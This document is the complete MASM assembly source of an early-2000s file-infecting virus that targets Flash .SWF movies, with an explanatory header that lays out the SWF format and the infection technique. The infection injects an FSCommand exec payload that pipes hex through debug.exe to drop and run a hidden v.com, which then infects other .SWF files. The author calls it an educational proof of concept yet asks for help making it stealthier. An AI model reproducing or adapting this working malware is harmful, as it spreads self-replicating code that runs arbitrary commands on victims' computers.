; SWF/LFM-926 Virus:
; ------------------
; Description: WinNT/XP Virus dropper for Flash .SWF files!
; Masm Version 6.11: ML.EXE SWF.ASM
; Virus Size: 926 bytes
; Infection Size: 3247 bytes.
; Last Edit: 01/08/2002
; DISCLAIMER:
; -----------
; >>> If you use this demo to create a malicious movie
; >>> and/or distribute it to any system where it does not belong
; >>> you alone will be responsible for your actions.
;
; >>> This demo is strictly intended for educational purposes only.
; >>> Enjoy! (-_-)
; Personal Note:
; --------------
; This very simple virus is kinda original and was written as a
; "proof of concept" (I like that phrase) to dispel the myths
; surrounding the ability of a virus to infect .SWF files.
;
; Infectivity: Since it relies upon the Flash standalone program to run, it
; won't get very far in the wild. Do you remember the file over-writing
; virii back in the early 90's, and look how far it has evolved since then?!
;
; I read somewheres that "Flash is a constrained environment by design,
; you'd never get a virus to work". I hope that's at least true for the IE browser
; using the swflash.ocx plugin else it's game over for everyone. :(
;
; Flash is more than just an animation tool, so whenever it's used in an environment
; that accesses the PC to read/write data, there's always a potential risk for abuse!
; Macromedia say they have patched the hole, but allowing arbitrary program execution
; will always be a concern. It will be interesting to see how Macromedia closed this
; security hole while at the same time giving web authors the flexibilty to read/write
; data.
;
; Peace thru superior cyber power!
; How it works:
; -------------
; When an infected SWF file is executed outside a browser
; using a standalone Flash Player, it pipes a series of hex
; codes (i.e., it converts itself from a binary form into hex strings XX,...,XX)
; into 'debug.exe' to create 'v.com'. The virus hides and executes the file
; via "start /b v.com" which searches for any SWF files in the current directory.
; Once a suitable host file has been found, the virus infects it! :)
; The SWF Header
; --------------
; All SWF files begin with the following header:
;
; Field Type Comment
; ===== ==== =======
; Signature db Signature byte always ‘F’
; Signature db Signature byte always ‘W’
; Signature db Signature byte always ‘S’
; Version db Single byte file version (e.g. 0x04 for SWF 4)
; FileLength dd Length of entire file in bytes
; FrameSize db X dup(0) Frame size in twips (X is a variable number of bytes)
; FrameRate dw Frame delay in 8.8 fixed number of frames per second
; FrameCount dw Total number of frames in movie
; SWF File Structure
; ------------------
; Following the header are a series of tagged data blocks.
; All tags share a common format, so any program parsing a SWF file can
; skip over blocks it does not understand.
;
; [HEADER | Tag | Tag | Tag | End Tag]
; Tag Format
; ----------
; Each tag begins with a tag type and a length.
; There are both a short and long tags.
; Short tags are used for blocks with 62 bytes of data or less and
; large tags can be used for any size block.
;
; Field Type Comment (Short Block)
; ===== ==== =====================
; Code dw Tag ID and Length
;
; The high order 10 bits of the Code field is the tag ID.
; The low order 6 bits of the Code field is the length of the tag in bytes.
; The tag ID and length can be extracted from the Code field like this:
;
; TagID= Code >> 6;
; Length = Code & 0x3f;
;
; If the block is 63 bytes or longer, it is stored in a long tag.
; The long tag consists of a short tag with a length of 0x3f, followed by a 32-bit length.
;
; Field Type Comment (Long Block)
; ===== ==== ====================
; Code dw Tag ID and Length of 0x3f
; Length dd Length of Tag
;
; Note: The low order 6 bits of the Code value in a long tag are all set to 1.
; Example: The DoAction Tag (ID=12) (0x3f,0x03) can be written as follows:
;
; 0000001100 111111
;
; where the high order 10 bits 0000001100 = 12 decimal and
; the low order 6 bits 111111 = 0x3f.
; Processing a SWF File
; ---------------------
; The model for processing a stream is that all tags are processed in a stream
; until a ShowFrame tag (ID=1) is encountered. At that point, the display list
; is copied to the screen and the player is idle until it is time to process the
; next frame.
;
; A SWF file is divided into numbered frames by ShowFrame tags.
; Frame 1 is defined by performing all the control operations before
; the first ShowFrame tag. Frame 2 is defined by performing all the control
; operations before the second ShowFrame tag and so on.
; WinNT/XP Virus Dropper
; ----------------------
;
; Before Infection:
; =================
;
; [HEADER | Tag | Tag | Tag | End Tag]
;
; After Infection:
; ================
;
; [HEADER | VIRUS TAG | Tag | Tag | Tag | End Tag]
;
; The Virus Tag Frame contains this pseudo script code:
;
; DoAction Tag
; ActionGetUrl Tag
; FSCommand:exec cmd.exe /c echo Loading.Flash.Movie...&(echo n v.com& echo a 100&
; ...echo db XX,...,XX& echo db XX,...,XX&echo db XX,...,XX&
; ...& echo.& echo rcx& echo VIR_SIZE& echo w& echo q)|debug.exe>nul& start /b v.com
; StringEnd Tag
; ShowFrame tag
;
; Read the online Flash bytecode articles for a description of the various tags.
; Example Hex Dump:
; -----------------
; Consider this partial hex dump of an SWF file version 05:
;
; Before Infection:
; =================
;
; 0000:0010 46 57 53 05 F8 12 00 00 78 00 04 65 00 00 15 E0 FWS.ï8..x..e...à
; 0000:0020 00 00 0C 05 00 43 02 66 99 99 3F 03 9B 00 00 00 .....C.f™™?.›...
; 0000:0030 88 6E 00 09 00 56 65 68 69 63 6C 65 00 27 39 39 ˆn...Vehicle.'99
; 0000:0040 20 41 63 63 6F 6E 64 61 20 44 58 20 53 65 64 61 Acconda DX Seda
; 0000:0050 6E 20 77 69 74 68 20 4D 61 6E 75 61 6C 20 54 72 n with Manual Tr
; ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ...
; 0000:nnnn 61 74 43 75 72 72 65 6E 63 79 00 40 00 00 00 atCurrency.@...
;
; After Infection:
; ================
;
; 0000:0010 46 57 53 99 A7 1F 00 00 78 00 04 65 00 00 15 E0 FWS™.F..x..e...à
; 0000:0020 00 00 0C 06 00 3F 03 14 0D 00 00 83 10 0D 46 53 .....?.....ƒ..FS
; 0000:0030 43 6F 6D 6D 61 6E 64 3A 65 78 65 63 00 63 6D 64 Command:exec.cmd
; 0000:0040 2E 65 78 65 09 2F 63 09 65 63 68 6F 09 4C 6F 61 .exe./c.echo.Loa
; 0000:0050 64 69 6E 67 2E 46 6C 61 73 68 2E 4D 6F 76 69 65 ding.Flash.Movie...
; ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ...
; 0000:0D2A 63 6F 6D 00 01 43 02 66 99 99 3F 03 9B 00 00 00 .com..C.f™™?.›...
; 0000:0D3A 88 6E 00 09 00 56 65 68 69 63 6C 65 00 27 39 39 ˆn...Vehicle.'99
; 0000:0D4A 20 41 63 63 6F 6E 64 61 20 44 58 20 53 65 64 61 Acconda DX Seda
; 0000:0D5A 6E 20 77 69 74 68 20 4D 61 6E 75 61 6C 20 54 72 n with Manual Tr
; ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ...
; 0000:nnnn 61 74 43 75 72 72 65 6E 63 79 00 40 00 00 00 atCurrency.@...
;
;
; As you can see, the header (first 21 bytes) is updated with version number 99
; (the infection marker, was version 05), A7 1F (the file length) and 06 (the frame count).
;
; Next, the virus tag is inserted directly after the header and begins with these bytes
; 3F 03 which is the DoActionTag and ends the virus with the important ShowFrame tag 01.
;
; The host file size increases by 3247 bytes (1FA7 - 12F8).
; The console window pops up briefly with a message "Loading.Flash.Movie..."
; while piping the hex commands to 'debug.exe'.
;
; Several variations of the command 'start' switches such as /MIN /MAX /B fail,
; don't work or state "Access is Denied" under winNT! Hmm? ;(
;
; If you have any ideas to improve the stealth of this virus by attempting
; to hide or minimize the console window etc.,... that would be a great improvement!
; Also, there must be a more efficient way to write data to disk w/o using "echo ..."?
; Without any further delay ...
; --------------------------------- Begin Source Code ------------------------------------
.286
.model tiny
.code
org 100h
Entry: jmp Start
VIR_SIZE equ Virus_End-Entry
DTA db 128 dup(0) ; Offset DTA+30 = filename
HANDLE dw ? ; Handle to host file
PTR1 dd 0 ; Segment address of the created memory block
PATH db "*.SWF",0 ; File mask
BINARY db "v.com",0 ; Binary code
HEX db "0123456789ABCDEF" ; Binary to hex
; Flash header block.
; -------------------
SIGN_FW dw ? ; SWF file format
SIGN_S db ?
VERSION_NUM db ?
FILE_LENGTH dw ?
dw ?
STATIC_HDR_SIZE equ $-SIGN_FW
RECT_BUF db 20 dup(0) ; Header length is variable because the RECT region isn't static. ;(
RECT_BUF_SIZE equ $-RECT_BUF
HDR_SIZE dw ? ; Holds the true header size!
; Start of Viral Frame 0.
; -----------------------
DROP_BEGIN db 03fh,003h ; DoAction Tag(12) long format. Learn the bytecodes!
TAG_LENGTH dw 0 ; (ACTION LENGTH+3)+1[END_TAG]
dw 0
db 083h ; ActionGetUrl Tag
ACTION_LENGTH dw 0 ; (DROP_BEGIN_SIZE-9)+(SUM OF DROP_MIDDLE)+(DROP_END_SIZE)
db 'FSCommand:exec'
db 000h
db 'cmd.exe'
db 009h ; chr(9) is Flash code for a space character.
db '/c'
db 009h
db 'echo'
db 009h
db 'Loading.Flash.Movie...'
db '&'
db '(echo'
db 009h
db 'n'
db 009h
db 'v.com&echo'
db 009h
db 'a'
db 009h
db '100&'
DROP_BEGIN_SIZE equ $-DROP_BEGIN
DROP_MIDDLE db 'echo'
db 009h
db 'db'
db 009h
db 71 dup(',') ; db XX,...,XX where XX's are viral hex codes.
db '&'
DROP_MIDDLE_SIZE equ $-DROP_MIDDLE
DROP_END db '&echo.&echo'
db 009h
db 'rcx&echo'
db 009h
db '39E' ; Define hex 39E (VIR_SIZE) as a string. Changes if this code changes. ;)
db '&echo'
db 009h
db 'w&echo'
db 009h
db 'q)|debug.exe>nul&start'
db 009h
db '/b'
db 009h
db 'v.com'
db 000h ; StringEnd Tag
DROP_END_SIZE equ $-DROP_END
; End of Viral Frame 0.
; ---------------------
END_TAG db 001h ; Action code 0x01 = tagshowframe Tag
Start:
mov ax,(VIR_SIZE+0fh)
shr ax,4
shl ax,1
mov bx,ax ; Allocate (VirusSize*2)
mov ah,4ah
int 21h ; Resize block
jc ExProg
mov dx,offset DTA ; Set DTA operation
mov ah,1ah
int 21h
mov cx,07h
mov dx,offset PATH
mov ah,4eh ; FindFirst
int 21h
jc ExProg
jmp Infect
Cycle:
mov dx,offset PATH
mov ah,4fh ; FindNext
int 21h
jc ExProg
jmp Infect
ExProg:
mov ax,4301h ; Hide v.com
mov cx,02h
mov dx,offset BINARY
int 21h
mov ax,4c00h ; End program
int 21h
Infect:
mov byte ptr DTA[30+12],'$'
mov dx,offset (DTA+30)
mov ax,3d02h ; Open host file
int 21h
jc ExProg
mov [HANDLE],ax ; Save file handle
mov ax,3f00h ; Read file Header
mov dx,offset SIGN_FW
mov bx,[HANDLE]
mov cx,(STATIC_HDR_SIZE+RECT_BUF_SIZE)
int 21h
jc ExProg
cmp word ptr SIGN_FW,'WF' ; Check for a valid Flash SWF file.
jne Cycle ; Try another file ...
cmp byte ptr SIGN_S,'S'
jne Cycle
cmp byte ptr VERSION_NUM,099h ; Already infected?
je Cycle
mov cx,RECT_BUF_SIZE ; Search for the SetBackgroundColor Tag.
xor di,di ; Seems to always exist directly after the header. ;)
next: cmp byte ptr RECT_BUF[di],043h
jne not_found
cmp byte ptr RECT_BUF[di+1],002h
jne not_found
jmp found
not_found:
inc di
loop next
jmp Cycle
found:
mov word ptr HDR_SIZE,STATIC_HDR_SIZE
add word ptr HDR_SIZE,di ; Compute the header size
mov ax,4200h ; Reset file ptr right after Flash header
xor cx,cx
mov dx,[HDR_SIZE]
int 21h
jc ExProg
push bx
mov ax,word ptr FILE_LENGTH
add ax,15
shr ax,4
mov bx,ax
mov ah,48h ; Allocate memory for target host file
int 21h
pop bx
jc ExProg
mov word ptr PTR1[2],ax ; Save pointer to allocated block
mov cx,word ptr FILE_LENGTH
sub cx,[HDR_SIZE]
mov ah,3fh ; Read host file into memory block
push ds
lds dx,[PTR1]
int 21h
pop ds
jc ExProg
mov ax,4200h ; Reset file ptr to the middle code section
xor cx,cx
mov dx,[HDR_SIZE]
add dx,DROP_BEGIN_SIZE
int 21h
jc ExProg
;
; The following code is a key technique. It simply converts the
; virus from binary to hex characters and then inserts them into the host
; using a standard format that DEBUG.EXE expects! ;) Flash only really
; allows plain text, so this satisfies that condition.
;
mov word ptr ACTION_LENGTH,(DROP_BEGIN_SIZE-9+DROP_END_SIZE)
push bx
mov cx,VIR_SIZE
xor si,si
xor di,di
ToHex:
mov bx,offset HEX ; Convert 8-bit binary number to a string representing a hex number
mov al,byte ptr Entry[si]
mov ah,al
and al,00001111y
xlat
mov DROP_MIDDLE[STATIC_HDR_SIZE+di+1],al
shr ax,12
xlat
mov DROP_MIDDLE[STATIC_HDR_SIZE+di],al
inc si
inc di
inc di
inc di
mov ax,si
mov bl,24 ; Debug.exe can handle at most 24 defined bytes on 1 line.
div bl
or ah,ah
jnz cont
push cx
xor di,di
add word ptr ACTION_LENGTH,DROP_MIDDLE_SIZE
mov bx,[HANDLE] ; Write hex dump entry XX,...,XX
mov dx,offset DROP_MIDDLE
mov cx,DROP_MIDDLE_SIZE
mov ax,4000h
int 21h
jc ExProg
pop cx
cont:
loop ToHex
pop bx
or di,di
jz no_remainder
mov dx,offset DROP_MIDDLE
mov cx,di
add cx,7 ; STATIC_HDR_SIZE-1
add word ptr ACTION_LENGTH,cx
mov ax,4000h ; Write remainder hex dump entry XX,...,XX
int 21h
jc ExProg
no_remainder:
mov dx,offset DROP_END
mov cx,DROP_END_SIZE+1
mov ax,4000h ; Write end code and end of frame tag(01) into host
int 21h
jc ExProg
mov cx,word ptr FILE_LENGTH
sub cx,[HDR_SIZE]
mov ax,4000h ; Write host code directly after viral code.
push ds
lds dx,[PTR1]
int 21h
pop ds
jc ExProg
; Patch the header with new viral values.
mov cx,word ptr ACTION_LENGTH
add cx,4
mov word ptr TAG_LENGTH,cx
add cx,6
add word ptr FILE_LENGTH,cx ; Total file size increase = (TAG_LENGTH+6)
; Set infection marker
mov byte ptr VERSION_NUM,099h
mov di,[HDR_SIZE]
inc word ptr [SIGN_FW+di-2] ; Increase Frame count by 1
mov ax,4200h ; Re-wind to start of file
xor cx,cx
xor dx,dx
int 21h
jc ExProg
mov dx,offset SIGN_FW
mov cx,[HDR_SIZE]
mov ax,4000h ; Write updated viral header
int 21h
jc ExProg
mov dx,offset DROP_BEGIN
mov cx,DROP_BEGIN_SIZE
mov ax,4000h ; Write begin code into host
int 21h
jc ExProg
mov ah,49h ; Free memory block
mov es,word ptr PTR1[2]
int 21h
jc ExProg
mov ax,3e00h ; Close file
int 21h
jc ExProg
jmp Cycle ; DONE! Try to infect another. ;)
Virus_End:
end Entry
; --------------------------------- End Source Code ------------------------------------
Back
to index